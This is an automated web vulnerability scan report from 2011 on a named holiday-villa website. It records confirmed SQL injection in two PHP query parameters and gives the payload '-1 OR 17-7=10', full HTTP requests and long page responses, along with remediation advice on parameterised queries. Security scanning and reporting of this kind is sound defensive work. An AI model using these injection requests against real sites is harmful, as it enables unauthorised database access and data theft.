XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection

Netsparker - Scan Report Summary

TARGET URL	http://theholidaygroup.com/luxury%20holidays/...
SCAN DATE	3/1/2011 1:08:17 PM
REPORT DATE	3/1/2011 1:41:21 PM
SCAN DURATION	00:32:06

Total Requests

Average Speed

req/sec.

175

identified

confirmed

critical

153

informational

GHDB, DORK Tests

PROFILE	Previous Settings
ENABLED ENGINES	Blind SQL Injection, Boolean SQL Injection, HTTP Header Injection, Local File Inclusion, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting

Authentication

Scheduled

VULNERABILITIES Vulnerabilities
	CRITICAL 5 % IMPORTANT 7 % LOW 1 % INFORMATION 87 %

Boolean Based SQL Injection

2 TOTAL

CRITICAL

CONFIRMED

SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.

External References

Remedy References

MSDN - Protect From SQL Injection in ASP.NET

- /more_villas.php

/more_villas.php CONFIRMED

http://theholidaygroup.com/more_villas.php?id=-1+OR+17-7%3d10

Parameters

Parameter	Type	Value
id	GET	-1 OR 17-7=10

Request

GET /more_villas.php?id=-1+OR+17-7%3d10 HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=k0vp4e6r7m45sontuc5et5dtours2q8q
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:10:15 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8441
Content-Type: text/html

<html><head> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><title> Villas, Rentals, Rentals, Villas </title><style type="text/css">body { scrollbar-3d-light-color : #274083; scrollbar-arrow-color : #000000; scrollbar-base-color : #274083; scrollbar-dark-shadow-color : #000000; scrollbar-face-color : #274083; scrollbar-highlight-color : #c0c0c0; scrollbar-shadow-color : #000000; background-image: url("/images/gradient.jpg"); background-repeat: repeat-x;}h1 { font-family: arial; font-size: 20px; color: white;}td { font-family: arial; font-size: 15px; color: white;}input.tidy { font-size: 11px; width:120px; color: #000000; background-color: #274083; font-weight:bold; margin:0 0 10 0; display: block;}</style><SCRIPT LANGUAGE="Javascript" src="/villas.js"></script></head><body bgcolor="#000066" link="#000000" vlink="#000000" alink="#000000" topmargin="0" leftmargin="0"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Alentejo villas" title=" in Alentejo"> Luxury Alentejo </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Algarve villas" title=" in Algarve"> Luxury Algarve </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Verde villas" title=" in Costa Verde"> Luxury Costa Verde </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="s..

- /villa_deals.php

/villa_deals.php CONFIRMED

http://theholidaygroup.com/villa_deals.php?offer_id=-1+OR+17-7%3d10

Parameters

Parameter	Type	Value
offer_id	GET	-1 OR 17-7=10

Request

GET /villa_deals.php?offer_id=-1+OR+17-7%3d10 HTTP/1.1
Referer: http://theholidaygroup.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=l6iaj5i41suet2oa84b9le98s7evm3sb
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:18:20 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 9347
Content-Type: text/html

<html><title>Villa Villas Deals, Bargain Villas, Luxury Villas</title> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><style type="text/css">body { background-image: url("images/bg/gradient.jpg"); background-repeat: repeat-x; }.boxed { width: 387px; height: 60px; border: 1px solid C0C0C0; font-family: Arial; font-size: 13px; margin: 10px; padding: 5px; display: inline; cursor: hand; }.title { font-family: Arial; font-size: 13px; color: white; text-decoration: none; font-weight: bold; }.small { font-family: Arial; font-size: 11px; color: white; text-decoration: none; }.highlight { color: red; font-weight: bold; display: inline; }.mainheader { margin-top: 5px; margin-bottom: 0px; text-align: center; font-family: Arial; font-size: 24px; color: white; }</style><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Alentejo villas" title=" in Alentejo"> Luxury Alentejo </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Algarve villas" title=" in Algarve"> Luxury Algarve </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Verde villas" title=" in Costa Verde"> Luxury Costa Verde </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lagos villas" title=" in Lagos"> Luxury Lagos </h2></a></li><li><h2><a onMouseOver="sc_..

SQL Injection

2 TOTAL

CRITICAL

CONFIRMED

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

External References

Remedy References

